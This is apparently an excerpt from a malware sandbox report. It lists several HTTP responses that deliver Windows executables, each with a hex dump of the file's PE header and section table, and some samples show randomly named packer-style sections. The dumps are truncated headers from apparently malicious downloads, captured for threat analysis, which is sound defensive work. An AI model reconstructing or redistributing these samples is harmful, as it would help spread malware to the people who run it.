Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:21 GMTContent-Type: application/octet-streamContent-Length: 1862656Last-Modified: Tue, 11 Feb 2025 07:34:05 GMTConnection: keep-aliveETag: "67aafd6d-1c6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 df 68 a3 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 90 6b 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6b 00 00 04 00 00 05 c3 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 8c 03 00 00 00 a0 24 00 00 04 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2b 00 00 c0 24 00 00 02 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 73 6a 66 6a 71 67 75 00 d0 1a 00 00 b0 50 00 00 c4 1a 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6b 6f 62 6a 6d 68 00 10 00 00 00 80 6b 00 00 06 00 00 00 44 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6b 00 00 22 00 00 00 4a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:26 GMTContent-Type: application/octet-streamContent-Length: 970240Last-Modified: Tue, 11 Feb 2025 07:31:34 GMTConnection: keep-aliveETag: "67aafcd6-ece00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad fc aa 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1e 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 0f 00 00 04 00 00 56 0b 0f 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 60 62 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 60 62 01 00 00 40 0d 00 00 64 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 b0 0e 00 00 76 00 00 00 58 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 11 Feb 2025 07:52:32 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:31 GMTContent-Type: application/octet-streamContent-Length: 961024Last-Modified: Tue, 11 Feb 2025 07:31:20 GMTConnection: keep-aliveETag: "67aafcc8-eaa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b4 fc aa 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 fa 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 0f 00 00 04 00 00 a5 bc 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 48 3e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 0e 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 48 3e 01 00 00 40 0d 00 00 40 01 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 80 0e 00 00 76 00 00 00 34 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:32 GMTContent-Type: application/octet-streamContent-Length: 1862656Last-Modified: Tue, 11 Feb 2025 07:34:05 GMTConnection: keep-aliveETag: "67aafd6d-1c6c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 df 68 a3 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 90 6b 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6b 00 00 04 00 00 05 c3 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 8c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 8c 03 00 00 00 a0 24 00 00 04 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 f0 2b 00 00 c0 24 00 00 02 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 73 6a 66 6a 71 67 75 00 d0 1a 00 00 b0 50 00 00 c4 1a 00 00 80 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 70 6b 6f 62 6a 6d 68 00 10 00 00 00 80 6b 00 00 06 00 00 00 44 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 6b 00 00 22 00 00 00 4a 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:39 GMTContent-Type: application/octet-streamContent-Length: 4335104Last-Modified: Tue, 11 Feb 2025 06:34:12 GMTConnection: keep-aliveETag: "67aaef64-422600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 00 00 00 00 00 04 5f 00 00 00 00 00 e0 00 02 03 0b 01 03 00 00 02 2d 00 00 0a 33 00 00 00 00 00 00 70 b3 00 00 10 00 00 00 50 59 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 b3 00 00 04 00 00 a1 7c 42 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 40 63 00 68 00 00 00 00 30 62 00 7c 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 63 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 62 00 00 10 00 00 00 a4 25 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 7c 0b 01 00 00 30 62 00 00 20 00 00 00 b4 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 63 00 00 02 00 00 00 d4 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 33 00 00 50 63 00 00 02 00 00 00 d6 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 64 67 78 78 66 78 6d 00 30 1c 00 00 30 97 00 00 26 1c 00 00 d8 25 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 74 71 64 68 75 67 7a 72 00 10 00 00 00 60 b3 00 00 06 00 00 00 fe 41 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 b3 00 00 22 00 00 00 04 42 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 11 Feb 2025 07:52:38 GMTContent-Type: application/octet-streamContent-Length: 2161152Last-Modified: Tue, 11 Feb 2025 07:34:15 GMTConnection: keep-aliveETag: "67aafd77-20fa00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4c 00 00 04 00 00 49 8f 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 58 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4c 47 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc 46 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 58 04 00 00 00 90 06 00 00 04 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 b0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 74 72 78 6e 7a 69 6b 00 40 1a 00 00 10 32 00 00 3c 1a 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 79 68 7a 66 62 6a 6d 00 10 00 00 00 50 4c 00 00 04 00 00 00 d4 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4c 00 00 22 00 00 00 d8 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
